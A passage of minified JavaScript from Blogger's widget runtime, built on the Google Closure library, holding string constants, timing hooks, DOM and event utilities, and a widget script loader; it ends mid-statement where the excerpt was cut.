Lg="blind-plate",Mg="block",Ng="blog.canonicalUrl",Og="blog.locale",Pg="blog.pageTitle",Qg="blog.sf",Rg="blog.tf",Sg="blog.url",Tg="blogID=",Ug="blogger",Vg="blogger-clickTrap",Wg="bloggerForm",Xg="blogger_active_experiements",Yg="blogger_csi_e",Zg="blogger_templates_experiment_id",$g="blogs",ah="blogspot",bh="body",ch="call",dh="callImmediate",eh="callback",fh="center",gh="checkbox",hh="chooseWidget",ih="class",jh="click",kh="cmt_count_iframe_holder",lh="cmt_iframe_holder",mh="collapsed",nh="collapsed-backlink", oh="color",ph="columns-cell",qh="comment-editor",rh="comment-editor-toggle-link",sh="comment-form",th="complete",uh="config",vh="configure",wh="contact-form-button contact-form-button-submit",xh="contact-form-button contact-form-button-submit disabled",yh="contact-form-cross",zh="contact-form-email",Ah="contact-form-email-message",Bh="contact-form-error-message",Ch="contact-form-error-message-with-border",Dh="contact-form-name",Eh="contact-form-submit",Fh="contact-form-success-message",Gh="contact-form-success-message-with-border", Hh="content",Ih="content-type",Jh="created",Kh="cse.xml",Lh="data-",Mh="data-count",Nh="data-lateloadsrc",Oh="data-post-url",Ph="data-url",Qh="data-viewurl",Rh="default",Sh="delayLoad",Th="delete",Uh="digit stage-0",Vh="disabled",Wh="display",Xh="display:none;",Yh="displayModeFull",Zh="displayModeLayout",$h="displayModeNone",ai="displayModeSnippet",bi="div",ci="edit-link",di="editlink",ei="email=",fi="en",gi="error",hi="error-details",ii="errorbox-bad errormsg",ji="errorbox-good",ki="errormessage_", li="event",mi="expanded",ni="expanded-backlink",oi="expression(this.parentNode.clientHeight)",pi="fakeId",qi="feedItemListDisplay",ri="feeds",si="fixed",ti="follower-link",ui="follower-thumbnail",vi="followers-grid",wi="followers-next-link",xi="fontFamily",yi="fontSize",zi="for",Ai="form",Bi="format",Ci="fulltext",Di="function",Ei="g",Fi="getFacepile",Gi="getTitles",Hi="goog.dom.setTextContent expects a non-null value for node",Ii="google_blogger_adsense_experiment_id",Ji="gsc-clear-button",Ki="height=600, width=640, toolbar=no, menubar=no, scrollbars=yes, resizable=yes, location=no, directories=no, status=no", Li="hex",Mi="hidden",Ni="href",Oi="http",Pi="http:",Qi="http://",Ri="http://api.flickr.com",Si="http://csi.gstatic.com/csi",Ti="http://m.facebook.com/sharer.php?u=",Ui="http://mobile.twitter.com/home?status=",Vi="http://search.yahoo.com/mrss/",Wi="https:",Xi="https://csi.gstatic.com/csi",Yi="https://plus.google.com/share?source=blogger:mobile:share&url=",Zi="id",$i="iframe",aj="img",bj="infinite loop",cj="inline",dj="innerText",ej="item-author",fj="item-date",gj="item-title",hj="javascript:void(0)", ij="json",jj="layout-title",kj="left",lj="li",mj="lightbox",nj="load",oj="loaded",pj="loading...",qj="m",rj="mailto:?subject=",sj="main",tj="message",uj="message=",vj="mobile-share-button",wj="mobile-share-panel-button mobile-share-panel-button-",xj="mobile-share-panel-button-close",yj="mobile-share-panel-inner",zj="mobile-share-panel-outer",Aj="mobile-share-panel-title",Bj="ms",Cj="n",Dj="name=",Ej="named",Fj="native code",Gj="next-page-link",Hj="no type",Ij="no widget for ",M="none",Jj="null",Kj= "number",Lj="o",Mj="object",Nj="ol",Oj="on",Pj="onbeforeunload",Qj="onload",Rj="onreadystatechange",Sj="opensearch",Tj="poll-widget",Uj="position",Vj="position:absolute;;width:230px;height:200px;",Wj="position:absolute;width:100%;left:0;top:0;height:100%;z-index:100;",Xj="post",Yj="post-body",Zj="post-count",ak="post-count-link",bk="posts",ck="prerender",dk="profile",ek="prt",fk="px",gk="ready",hk="readystatechange",ik="relative",jk="resize",kk="responseType=js",lk="rgb",mk="rotate(-45deg)",nk="rtl", ok="script",pk="scroll",qk="scrollbars=no,width=475,height=300,top=175,left=75,status=yes,resizable=yes",rk="search",sk="section",tk="sectionId",uk="select",vk="show-all",wk="show-n",xk="slideshow",yk="span",zk="sparkline",Ak="splice",Bk="src",Ck="stage-",Dk="start",Ek="static",Fk="status-message",Gk="status-message-inner",Hk="string",Ik="strong",Jk="style",Kk="stylesheet",Lk="submit",Mk="success",Nk="text-top",Ok="text/css",Pk="text/javascript",Qk="textContent",Rk="then",Sk="thumbnail",Tk="tick", Uk="timeout",Vk="title",Wk="toggle",Xk="toggle-open",Yk="top",Zk="totalCount",$k="transform",al="uds-search-results",bl="uds-searchClearResults",cl="uds-searchControl",dl="uds-searchResults",el="ul",fl="url",gl="var ",hl="videoBar-container",il="visibility:hidden;position:absolute;line-height:0;padding:0;margin:0;border:0;height:1em;",jl="visible",kl="webkitvisibilitychange",ll="white",ml="widget Subscribe",nl="widget-content",ol="widget-wrap1",pl="widget-wrap2",ql="widget-wrap3",rl="widgetId=",sl= "widgetJsEnd",tl="widgetType",ul="widgetType=",vl="width=570,height=600,left=75,top=20,resizable=yes,scrollbars=yes",wl="wikipedia-search-form",xl="wikipedia-search-input",yl="wikipedia-search-more",zl="wikipedia-search-results",Al="wikipedia-search-results-header",Bl="window",Cl="withCredentials",Dl="zippy",El="|[",Fl="\u00a0-\u00a0";function Gl(a){return function(){return this[a]}}var N;k[D]&&k[D][Fb][Sa]("widgetJsStart");function Hl(){k[D][Fb][Sa](Nj)} function Il(a,b){a[Nb]?a[Nb](nj,b,!1):a.attachEvent(Qj,b)}function Jl(a,b){return a[Vb]&&-1!=a[Vb][Jb](b)?a:a[K]?Jl(a[K],b):null}function Kl(){k[D][Fb][Sa](ek);k.tickAboveFold&&k.tickAboveFold(this)} k.BLOG_attachCsiOnload=function(a,b){if(k[D]){k[D][Fb][Sa](sl);k[D][Fb][Sa](ek);va(k[D][Fb],a+ah);for(var c=l[db](aj),d=0;d<c[F];d++)c[d].complete?null!=Jl(c[d],Xj)&&Kl[ub](c[d]):null!=Jl(c[d],Xj)&&Il(c[d],Kl);Il(k,Hl);c=function(){for(var a={},c=k.blogger_blog_id,d=[Ii,Yg,Zg,Xg],s=[],t=d[F],x=0;x<t;x++){var E=d[x];E in k&&s[B](k[E])}c&&(a.blogId=c);0<s[F]&&(a.e=s[ic](od));c=(l[z][rb]==Wi?Wi:Pi)+Id;c=b||c;k[D].report(k[D][Fb],a,c)};k[Nb]?k[Nb](Kg,c,!1):k.attachEvent(Pj,c)}};var Ll=Ll||{},O=this;function Ml(){}function Nl(a){a.W=function(){return a.ab?a.ab:a.ab=new a}}function Ol(a){var b=typeof a;if(b==Mj)if(a){if(a instanceof da)return Cg;if(a instanceof aa)return b;var c=aa[G][gb][I](a);if(c==eg)return Mj;if(c==cg||typeof a[F]==Kj&&"undefined"!=typeof a[hc]&&"undefined"!=typeof a[ib]&&!a[ib](Ak))return Cg;if(c==dg||"undefined"!=typeof a[I]&&"undefined"!=typeof a[ib]&&!a[ib](ch))return Di}else return Jj;else if(b==Di&&"undefined"==typeof a[I])return Mj;return b} function Pl(a){return void 0!==a}function Ql(a){return Ol(a)==Cg}function Rl(a){var b=Ol(a);return b==Cg||b==Mj&&typeof a[F]==Kj}function P(a){return typeof a==Hk}function Sl(a){return Ol(a)==Di}function Tl(a){var b=typeof a;return b==Mj&&null!=a||b==Di}var Ul="closure_uid_"+(1E9*m[qb]()>>>0),Vl=0;function Wl(a,b,c){return a[I][ub](a[cb],arguments)} function Xl(a,b,c){if(!a)throw n();if(2<arguments[F]){var d=da[G][Db][I](arguments,2);return function(){var c=da[G][Db][I](arguments);da[G].unshift[ub](c,d);return a[ub](b,c)}}return function(){return a[ub](b,arguments)}}function Q(a,b,c){Q=ba[G][cb]&&-1!=ba[G][cb][gb]()[Jb](Fj)?Wl:Xl;return Q[ub](null,arguments)}function Yl(a,b){var c=da[G][Db][I](arguments,1);return function(){var b=c[Db]();b[B][ub](b,arguments);return a[ub](this,b)}}var Zl=Date.now||function(){return+new Date}; function R(a,b){var c=a[kb](yd),d=O;c[0]in d||!d.execScript||d.execScript(gl+c[0]);for(var e;c[F]&&(e=c[Ca]());)c[F]||void 0===b?d[e]?d=d[e]:d=d[e]={}:d[e]=b}function S(a,b){function c(){}c.prototype=b[G];a.n=b[G];a.prototype=new c;a.ic=function(a,c,f){return b[G][c][ub](a,da[G][Db][I](arguments,2))}}ba[G].bind=ba[G][cb]||function(a,b){if(1<arguments[F]){var c=da[G][Db][I](arguments,1);c.unshift(this,a);return Q[ub](null,c)}return Q(this,a)};function $l(a){if(n[Ob])n[Ob](this,$l);else{var b=n()[mb];b&&(this.stack=b)}a&&(this.message=p(a))}S($l,n);va($l[G],"CustomError");var am;function bm(a,b){for(var c=a[kb](Ec),d=L,e=da[G][Db][I](arguments,1);e[F]&&1<c[F];)d+=c[Ca]()+e[Ca]();return d+c[ic](Ec)}function cm(a){return a[w](/^[\s\xa0]+|[\s\xa0]+$/g,L)}function dm(a){if(!em[zb](a))return a;-1!=a[Jb](Fc)&&(a=a[w](fm,Kc));-1!=a[Jb](ge)&&(a=a[w](gm,Qc));-1!=a[Jb](ne)&&(a=a[w](hm,Oc));-1!=a[Jb](uc)&&(a=a[w](im,Wc));-1!=a[Jb](hd)&&(a=a[w](jm,Gc));return a}var fm=/&/g,gm=/</g,hm=/>/g,im=/"/g,jm=/'/g,em=/[&<>"']/;function km(a,b){return a<b?-1:a>b?1:0} function lm(a){return p(a)[w](/\-([a-z])/g,function(a,c){return c[gc]()})}function mm(a){var b=P(void 0)?"undefined"[w](/([-()\[\]{}+?*.$\^|,:#<!\\])/g,fg)[w](/\x08/g,hg):gg;return a[w](ia(kd+(b?El+b+kg:L)+md,Ei),function(a,b,e){return b+e[gc]()})};function nm(a,b){b.unshift(a);$l[I](this,bm[ub](null,b));b[Ca]()}S(nm,$l);va(nm[G],"AssertionError");function om(a,b,c,d){var e=ze;if(c)var e=e+(fe+c),f=d;else a&&(e+=fe+a,f=b);throw new nm(L+e,f||[]);}function T(a,b,c){a||om(L,null,b,da[G][Db][I](arguments,2))}function pm(a,b,c){P(a)||om(Se,[Ol(a),a],b,da[G][Db][I](arguments,2))}function qm(a,b,c){Tl(a)||om(Re,[Ol(a),a],b,da[G][Db][I](arguments,2))};var rm=da[G],sm=rm[Jb]?function(a,b,c){T(null!=a[F]);return rm[Jb][I](a,b,c)}:function(a,b,c){c=null==c?0:0>c?m.max(0,a[F]+c):c;if(P(a))return P(b)&&1==b[F]?a[Jb](b,c):-1;for(;c<a[F];c++)if(c in a&&a[c]===b)return c;return-1},tm=rm[$a]?function(a,b,c){T(null!=a[F]);rm[$a][I](a,b,c)}:function(a,b,c){for(var d=a[F],e=P(a)?a[kb](L):a,f=0;f<d;f++)f in e&&b[I](c,e[f],f,a)},um=rm.filter?function(a,b,c){T(null!=a[F]);return rm.filter[I](a,b,c)}:function(a,b,c){for(var d=a[F],e=[],f=0,h=P(a)?a[kb](L):a,s= 0;s<d;s++)if(s in h){var t=h[s];b[I](c,t,s,a)&&(e[f++]=t)}return e},vm=rm.some?function(a,b,c){T(null!=a[F]);return rm.some[I](a,b,c)}:function(a,b,c){for(var d=a[F],e=P(a)?a[kb](L):a,f=0;f<d;f++)if(f in e&&b[I](c,e[f],f,a))return!0;return!1};function wm(a){var b;t:{b=xm;for(var c=a[F],d=P(a)?a[kb](L):a,e=0;e<c;e++)if(e in d&&b[I](void 0,d[e],e,a)){b=e;break t}b=-1}return 0>b?null:P(a)?a[Ja](b):a[b]}function ym(a,b){return 0<=sm(a,b)} function zm(a){if(!Ql(a))for(var b=a[F]-1;0<=b;b--)delete a[b];ya(a,0)}function Am(a,b){var c=sm(a,b),d;if(d=0<=c)T(null!=a[F]),rm[hc][I](a,c,1);return d}function Bm(a){return rm[Ia][ub](rm,arguments)}function Cm(a){var b=a[F];if(0<b){for(var c=da(b),d=0;d<b;d++)c[d]=a[d];return c}return[]}function Dm(a,b,c,d){T(null!=a[F]);rm[hc][ub](a,Em(arguments,1))}function Em(a,b,c){T(null!=a[F]);return 2>=arguments[F]?rm[Db][I](a,b):rm[Db][I](a,b,c)} function Fm(a){if(!arguments[F])return[];for(var b=[],c=0;;c++){for(var d=[],e=0;e<arguments[F];e++){var f=arguments[e];if(c>=f[F])return b;d[B](f[c])}b[B](d)}};function Gm(a){a=a[Vb];return P(a)&&a[Pa](/\S+/g)||[]}function Hm(a,b){var c=Gm(a),d=Em(arguments,1),e=c[F]+d[F];Im(c,d);u(a,c[ic](oc));return c[F]==e}function Jm(a,b){var c=Gm(a),d=Em(arguments,1),c=Km(c,d);u(a,c[ic](oc))}function Im(a,b){for(var c=0;c<b[F];c++)ym(a,b[c])||a[B](b[c])}function Km(a,b){return um(a,function(a){return!ym(b,a)})}function Lm(a,b,c){for(var d=Gm(a),e=!1,f=0;f<d[F];f++)d[f]==b&&(Dm(d,f--,1),e=!0);e&&(d[B](c),u(a,d[ic](oc)))};function Mm(){return function(a){return 500<=Nm(a)?(a[Ha][F]?r(l[H],a[Ha]):k.alert(LayoutsMessages.SERVER_ERROR),!1):!0}};function Om(a,b){var c=U,d=a[ob],e=Pm(d,a,bi,ol),e=Pm(d,e,bi,pl),e=Pm(d,e,bi,ql),f=Pm(d,e,bi,nl),h=Pm(d,f,bi,jj),e=b._GetHelper(),s=e._GetData();h[v](d[Ka](s[jj]));var f=Pm(d,f,tg,di),t=e._GenerateWidgetMetadata();f[ab](Ni,t.quickEditUrl);za(f,hh);Aa(f,function(){return c._PopupConfig(d[C](t.instanceId))});f[v](d[Ka](s[ci]))}function Pm(a,b,c,d){a=a[Ua](c);u(a,d);b[v](a);return a};function Qm(a){return function(){return a}};function Rm(a,b){this.x=Pl(a)?a:0;this.y=Pl(b)?b:0}Rm[G].D=function(){return new Rm(this.x,this.y)};na(Rm[G],function(){return id+this.x+pd+this.y+ld});Rm[G].floor=function(){this.x=m[Ga](this.x);this.y=m[Ga](this.y);return this};Rm[G].round=function(){this.x=m[Cb](this.x);this.y=m[Cb](this.y);return this};function Sm(a,b){ka(this,a);qa(this,b)}N=Sm[G];N.D=function(){return new Sm(this[Ea],this[wb])};na(N,function(){return id+this[Ea]+tc+this[wb]+ld});N.J=function(){return!(this[Ea]*this[wb])};N.floor=function(){ka(this,m[Ga](this[Ea]));qa(this,m[Ga](this[wb]));return this};N.round=function(){ka(this,m[Cb](this[Ea]));qa(this,m[Cb](this[wb]));return this};function Tm(a,b){for(var c in a)b[I](void 0,a[c],c,a)}function Um(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b}function Vm(a){var b=[],c=0,d;for(d in a)b[c++]=d;return b}var Wm="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");function Xm(a,b){for(var c,d,e=1;e<arguments[F];e++){d=arguments[e];for(c in d)a[c]=d[c];for(var f=0;f<Wm[F];f++)c=Wm[f],aa[G][nb][I](d,c)&&(a[c]=d[c])}};var Ym,Zm,$m,an;function bn(){return O.navigator?O.navigator.userAgent:null}an=$m=Zm=Ym=!1;var cn;if(cn=bn()){var dn=O.navigator;Ym=0==cn.lastIndexOf("Opera",0);Zm=!Ym&&(-1!=cn[Jb]("MSIE")||-1!=cn[Jb]("Trident"));$m=!Ym&&-1!=cn[Jb]("WebKit");an=!Ym&&!$m&&!Zm&&"Gecko"==dn.product}var en=Ym,V=Zm,fn=an,gn=$m;function hn(){var a=O[Yb];return a?a.documentMode:void 0}var jn; t:{var kn=L,ln;if(en&&O.opera)var mn=O.opera.version,kn=typeof mn==Di?mn():mn;else if(fn?ln=/rv\:([^\);]+)(\)|;)/:V?ln=/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/:gn&&(ln=/WebKit\/(\S+)/),ln)var nn=ln.exec(bn()),kn=nn?nn[1]:L;if(V){var on=hn();if(on>ga(kn)){jn=p(on);break t}}jn=kn}var pn=jn,qn={}; function rn(a){var b;if(!(b=qn[a])){b=0;for(var c=cm(p(pn))[kb](yd),d=cm(p(a))[kb](yd),e=m.max(c[F],d[F]),f=0;0==b&&f<e;f++){var h=c[f]||L,s=d[f]||L,t=ia(jd,Ei),x=ia(jd,Ei);do{var E=t.exec(h)||[L,L,L],J=x.exec(s)||[L,L,L];if(0==E[0][F]&&0==J[0][F])break;b=km(0==E[1][F]?0:fa(E[1],10),0==J[1][F]?0:fa(J[1],10))||km(0==E[2][F],0==J[2][F])||km(E[2],J[2])}while(0==b)}b=qn[a]=0<=b}return b}var sn=O[Yb],tn=sn&&V?hn()||(sn[dc]==Ge?fa(pn,10):5):void 0;var un=!V||V&&9<=tn;!fn&&!V||V&&V&&9<=tn||fn&&rn("1.9.1");var vn=V&&!rn("9");function wn(a){return a?new xn(yn(a)):am||(am=new xn)}function W(a){return P(a)?l[C](a):a}function zn(a){var b=a||l;return b[cc]&&b[Ta]?b[cc](Bd):An(nd,kh,a)}function Bn(a,b){var c=b||l,d=null;c[cc]&&c[Ta]?d=c[Ta](yd+a):d=An(nd,a,b)[0];return d||null} function An(a,b,c){var d=l;c=c||d;a=a&&a!=nd?a[gc]():L;if(c[cc]&&c[Ta]&&(a||b))return c[cc](a+(b?yd+b:L));if(b&&c.getElementsByClassName){c=c.getElementsByClassName(b);if(a){for(var d={},e=0,f=0,h;h=c[f];f++)a==h[Kb]&&(d[e++]=h);ya(d,e);return d}return c}c=c[db](a||nd);if(b){d={};for(f=e=0;h=c[f];f++)a=h[Vb],typeof a[kb]==Di&&ym(a[kb](/\s+/),b)&&(d[e++]=h);ya(d,e);return d}return c} function Cn(a,b){Tm(b,function(b,d){d==Jk?a[A].cssText=b:d==ih?u(a,b):d==zi?a.htmlFor=b:d in Dn?a[ab](Dn[d],b):0==d.lastIndexOf(Bg,0)||0==d.lastIndexOf(Lh,0)?a[ab](d,b):a[d]=b})}var Dn={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder:"frameBorder",height:"height",maxlength:"maxLength",role:"role",rowspan:"rowSpan",type:"type",usemap:"useMap",valign:"vAlign",width:"width"};function En(a,b,c){return Fn(l,arguments)} function Fn(a,b){var c=b[0],d=b[1];if(!un&&d&&(d[Rb]||d[Pb])){c=[ge,c];d[Rb]&&c[B](pc,dm(d[Rb]),uc);if(d[Pb]){c[B](sc,dm(d[Pb]),uc);var e={};Xm(e,d);delete e[Pb];d=e}c[B](ne);c=c[ic](L)}c=a[Ua](c);d&&(P(d)?u(c,d):Ql(d)?Hm[ub](null,[c][Ia](d)):Cn(c,d));2<b[F]&&Gn(a,c,b);return c}function Gn(a,b,c){function d(c){c&&b[v](P(c)?a[Ka](c):c)}for(var e=2;e<c[F];e++){var f=c[e];!Rl(f)||Tl(f)&&0<f[Eb]?d(f):tm(Hn(f)?Cm(f):f,d)}}function In(a){for(var b;b=a[Ya];)a[$b](b)}function Jn(a){a&&a[K]&&a[K][$b](a)} function yn(a){return 9==a[Eb]?a:a[ob]||a[Yb]}function Kn(a,b){T(null!=a,Hi);if(Qk in a)a.textContent=b;else if(3==a[Eb])la(a,b);else if(a[Ya]&&3==a[Ya][Eb]){for(;a.lastChild!=a[Ya];)a[$b](a.lastChild);la(a[Ya],b)}else In(a),a[v](yn(a)[Ka](p(b)))}var Ln={SCRIPT:1,STYLE:1,HEAD:1,IFRAME:1,OBJECT:1},Mn={IMG:oc,BR:lc}; function Nn(a,b,c){if(!(a[Kb]in Ln))if(3==a[Eb])c?b[B](p(a.nodeValue)[w](/(\r\n|\r|\n)/g,L)):b[B](a.nodeValue);else if(a[Kb]in Mn)b[B](Mn[a[Kb]]);else for(a=a[Ya];a;)Nn(a,b,c),a=a.nextSibling}function Hn(a){if(a&&typeof a[F]==Kj){if(Tl(a))return typeof a[Ib]==Di||typeof a[Ib]==Hk;if(Sl(a))return typeof a[Ib]==Di}return!1}function On(a){return Pn(a,function(a){return a[Kb]==te&&!0})}function Pn(a,b){for(var c=0;a;){if(b(a))return a;a=a[K];c++}return null}function xn(a){this.a=a||O[Yb]||l} xn[G].da=function(a){return P(a)?this.a[C](a):a};xn[G].b=function(a,b,c){return Fn(this.a,arguments)};function Qn(a){var b=a.a;a=gn||b[dc]!=Ge?b[H]||b[eb]:b[eb];b=b.parentWindow||b[Qb];return V&&rn(Rd)&&b.pageYOffset!=a[Tb]?new Rm(a[sb],a[Tb]):new Rm(b.pageXOffset||a[sb],b.pageYOffset||a[Tb])}xn[G].appendChild=function(a,b){a[v](b)};function Rn(a){Rn[oc](a);return a}Rn[oc]=Ml;var Sn=!V||V&&9<=tn,Tn=V&&!rn("9");!gn||rn("528");fn&&rn("1.9b")||V&&rn("8")||en&&rn("9.5")||gn&&rn("528");fn&&!rn("8")||V&&rn("9");function Un(){}Un[G].h=!1;Un[G].N=function(){this.h||(this.h=!0,this.r())};Un[G].r=function(){if(this.fa)for(;this.fa[F];)this.fa[Ca]()()};function Vn(a,b){ua(this,a);za(this,b);sa(this,this[ac]);this.b=!1;this.Ta=!0}Vn[G].N=function(){};Vn[G].stopPropagation=function(){this.b=!0};Vn[G].preventDefault=function(){this.Ta=!1};function Wn(a,b){Vn[I](this,a?a[Pb]:L);za(this,null);sa(this,null);this.clientY=this.clientX=0;this.g=this.h=this.d=this.f=!1;this.a=null;if(a){ua(this,a[Pb]);za(this,a[ac]||a[Gb]);sa(this,b);var c=a.relatedTarget;if(c&&fn)try{Rn(c[Kb])}catch(d){}this.clientX=void 0!==a.clientX?a.clientX:a.pageX;this.clientY=void 0!==a.clientY?a.clientY:a.pageY;this.f=a.ctrlKey;this.d=a.altKey;this.h=a.shiftKey;this.g=a.metaKey;this.a=a;a.defaultPrevented&&this[La]()}}S(Wn,Vn); Wn[G].stopPropagation=function(){Wn.n[lb][I](this);this.a[lb]?this.a[lb]():this.a.cancelBubble=!0};Wn[G].preventDefault=function(){Wn.n[La][I](this);var a=this.a;if(a[La])a[La]();else if(a.returnValue=!1,Tn)try{if(a.ctrlKey||112<=a[Va]&&123>=a[Va])a.keyCode=-1}catch(b){}};Wn[G].lb=Gl(tg);var Xn="closure_listenable_"+(1E6*m[qb]()|0);function Yn(a){try{return!(!a||!a[Xn])}catch(b){return!1}}var Zn=0;function $n(a,b,c,d,e){this.S=a;this.f=null;this.src=b;ua(this,c);this.b=!!d;this.d=e;this.key=++Zn;this.a=this.ma=!1}function ao(a){a.a=!0;a.S=null;a.f=null;a.src=null;a.d=null};function bo(a){this.src=a;this.a={};this.b=0}function co(a,b,c,d,e,f){var h=a.a[b];h||(h=a.a[b]=[],a.b++);var s=eo(h,c,e,f);-1<s?(a=h[s],d||(a.ma=!1)):(a=new $n(c,a.src,b,!!e,f),a.ma=d,h[B](a));return a}function fo(a,b){var c=b[Pb];if(!(c in a.a))return!1;var d=Am(a.a[c],b);d&&(ao(b),0==a.a[c][F]&&(delete a.a[c],a.b--));return d}function go(a){var b=0,c;for(c in a.a){for(var d=a.a[c],e=0;e<d[F];e++)++b,ao(d[e]);delete a.a[c];a.b--}} function ho(a,b,c,d,e){a=a.a[b];b=-1;a&&(b=eo(a,c,d,e));return-1<b?a[b]:null}function eo(a,b,c,d){for(var e=0;e<a[F];++e){var f=a[e];if(!f.a&&f.S==b&&f.b==!!c&&f.d==d)return e}return-1};var io="closure_lm_"+(1E6*m[qb]()|0),jo={},ko=0;function lo(a,b,c,d,e){if(Ql(b)){for(var f=0;f<b[F];f++)lo(a,b[f],c,d,e);return null}c=mo(c);return Yn(a)?a.P(b,c,d,e):no(a,b,c,!1,d,e)}function no(a,b,c,d,e,f){if(!b)throw n("Invalid event type");var h=!!e,s=oo(a);s||(a[io]=s=new bo(a));c=co(s,b,c,d,e,f);if(c.f)return c;d=po();c.f=d;d.src=a;d.S=c;a[Nb]?a[Nb](b,d,h):a.attachEvent(b in jo?jo[b]:jo[b]=Oj+b,d);ko++;return c} function po(){var a=qo,b=Sn?function(c){return a[I](b.src,b.S,c)}:function(c){c=a[I](b.src,b.S,c);if(!c)return c};return b}function ro(a,b,c,d,e){if(Ql(b))for(var f=0;f<b[F];f++)ro(a,b[f],c,d,e);else c=mo(c),Yn(a)?co(a.B,p(b),c,!0,d,e):no(a,b,c,!0,d,e)}function so(a,b,c,d,e){if(Ql(b))for(var f=0;f<b[F];f++)so(a,b[f],c,d,e);else c=mo(c),Yn(a)?a.ba(b,c,d,e):a&&(a=oo(a))&&(b=ho(a,b,c,!!d,e))&&to(b)} function to(a){if(typeof a==Kj||!a||a.a)return!1;var b=a.src;if(Yn(b))return fo(b.B,a);var c=a[Pb],d=a.f;b.removeEventListener?b.removeEventListener(c,d,a.b):b.detachEvent&&b.detachEvent(c in jo?jo[c]:jo[c]=Oj+c,d);ko--;(c=oo(b))?(fo(c,a),0==c.b&&(c.src=null,b[io]=null)):ao(a);return!0}function uo(a){if(a)if(Yn(a))a.B&&go(a.B);else if(a=oo(a)){var b=0,c;for(c in a.a)for(var d=Cm(a.a[c]),e=0;e<d[F];++e)to(d[e])&&++b}} function vo(a,b,c,d){var e=1;if(a=oo(a))if(b=a.a[b])for(b=Cm(b),a=0;a<b[F];a++){var f=b[a];f&&f.b==c&&!f.a&&(e&=!1!==wo(f,d))}return Boolean(e)}function wo(a,b){var c=a.S,d=a.d||a.src;a.ma&&to(a);return c[I](d,b)} function qo(a,b){if(a.a)return!0;if(!Sn){var c;if(!(c=b))t:{c=[Bl,li];for(var d=O,e;e=c[Ca]();)if(null!=d[e])d=d[e];else{c=null;break t}c=d}e=c;c=new Wn(e,this);d=!0;if(!(0>e[Va]||void 0!=e.returnValue)){t:{var f=!1;if(0==e[Va])try{e.keyCode=-1;break t}catch(h){f=!0}if(f||void 0==e.returnValue)e.returnValue=!0}e=[];for(f=c.currentTarget;f;f=f[K])e[B](f);for(var f=a[Pb],s=e[F]-1;!c.b&&0<=s;s--)sa(c,e[s]),d&=vo(e[s],f,!0,c);for(s=0;!c.b&&s<e[F];s++)sa(c,e[s]),d&=vo(e[s],f,!1,c)}return d}return wo(a, new Wn(b,this))}function oo(a){a=a[io];return a instanceof bo?a:null}var xo="__closure_events_fn_"+(1E9*m[qb]()>>>0);function mo(a){T(a,mf);if(Sl(a))return a;T(a[bb],we);return a[xo]||(a[xo]=function(b){return a[bb](b)})};function yo(){this.B=new bo(this);this.sa=this}S(yo,Un);yo[G][Xn]=!0;N=yo[G];N.ya=null;N.Ga=function(a){this.ya=a};N.addEventListener=function(a,b,c,d){lo(this,a,b,c,d)};N.removeEventListener=function(a,b,c,d){so(this,a,b,c,d)}; N.dispatchEvent=function(a){zo(this);var b,c=this.ya;if(c){b=[];for(var d=1;c;c=c.ya)b[B](c),T(1E3>++d,bj)}c=this.sa;d=a[Pb]||a;if(P(a))a=new Vn(a,c);else if(a instanceof Vn)za(a,a[ac]||c);else{var e=a;a=new Vn(d,c);Xm(a,e)}var e=!0,f;if(b)for(var h=b[F]-1;!a.b&&0<=h;h--)f=sa(a,b[h]),e=Ao(f,d,!0,a)&&e;a.b||(f=sa(a,c),e=Ao(f,d,!0,a)&&e,a.b||(e=Ao(f,d,!1,a)&&e));if(b)for(h=0;!a.b&&h<b[F];h++)f=sa(a,b[h]),e=Ao(f,d,!1,a)&&e;return e};N.r=function(){yo.n.r[I](this);this.B&&go(this.B);this.ya=null}; N.P=function(a,b,c,d){zo(this);return co(this.B,p(a),b,!1,c,d)};N.ba=function(a,b,c,d){var e;e=this.B;a=p(a);if(a in e.a){var f=e.a[a];b=eo(f,b,c,d);-1<b?(ao(f[b]),T(null!=f[F]),rm[hc][I](f,b,1),0==f[F]&&(delete e.a[a],e.b--),e=!0):e=!1}else e=!1;return e};function Ao(a,b,c,d){b=a.B.a[p(b)];if(!b)return!0;b=Cm(b);for(var e=!0,f=0;f<b[F];++f){var h=b[f];if(h&&!h.a&&h.b==c){var s=h.S,t=h.d||h.src;h.ma&&fo(a.B,h);e=!1!==s[I](t,d)&&e}}return e&&!1!=d.Ta}function zo(a){T(a.B,Qe)};function Bo(a,b){yo[I](this);this.f=a||1;this.b=b||O;this.g=Q(this.j,this);this.i=Zl()}S(Bo,yo);Bo[G].d=!1;Bo[G].a=null;Bo[G].j=function(){if(this.d){var a=Zl()-this.i;0<a&&a<0.8*this.f?this.a=this.b[jb](this.g,this.f-a):(this.a&&(this.b[Da](this.a),this.a=null),this[Na](Tk),this.d&&(this.a=this.b[jb](this.g,this.f),this.i=Zl()))}};function Co(a){a.d=!1;a.a&&(a.b[Da](a.a),a.a=null)}Bo[G].r=function(){Bo.n.r[I](this);Co(this);delete this.b}; function Do(a,b,c){if(Sl(a))c&&(a=Q(a,c));else if(a&&typeof a[bb]==Di)a=Q(a[bb],a);else throw n("Invalid listener argument");return 2147483647<b?-1:O[jb](a,b||0)};function Eo(){this.h={};this.b={};this.f={};this.a=null;this.d=[]}Nl(Eo);Eo[G].g=function(a,b){return a+lg+b+Cd};function Fo(a){eval(a)}function Go(a,b,c){R(og,Fo);a.a=b[w](/\.js$/,L);c&&(a.g=c);tm(a.d,function(a){Ho(this,a)},a);zm(a.d)}function Ho(a,b){Do(function(){if(!this.b[b]){pm(this.a);var a=this.g(this.a,b),d;t:{d=this.f;for(var e in d)if(d[e]==a){d=!0;break t}d=!1}this.f[b]=a;d||(a=En(ok,{type:Pk,src:a}),l[H][v](a))}},0,a)};function Io(a){var b=Eo.W(),c=b.h,d=b.b;if(d.lightbox)a(d.lightbox[1]);else if(c.lightbox)c.lightbox[B]([1,a]);else c.lightbox=[[1,a]],P(b.a)?Ho(b,mj):b.d[B](mj)}function Jo(){return function(){var a=arguments;Io(function(b){b[ub](null,a)})}};function Ko(a){this.b=a;this.a={}}S(Ko,Un);var Lo=[];Ko[G].P=function(a,b,c,d){Ql(b)||(Lo[0]=b,b=Lo);for(var e=0;e<b[F];e++){var f=lo(a,b[e],c||this[bb],d||!1,this.b||this);if(!f)break;this.a[f.key]=f}return this};Ko[G].ba=function(a,b,c,d,e){if(Ql(b))for(var 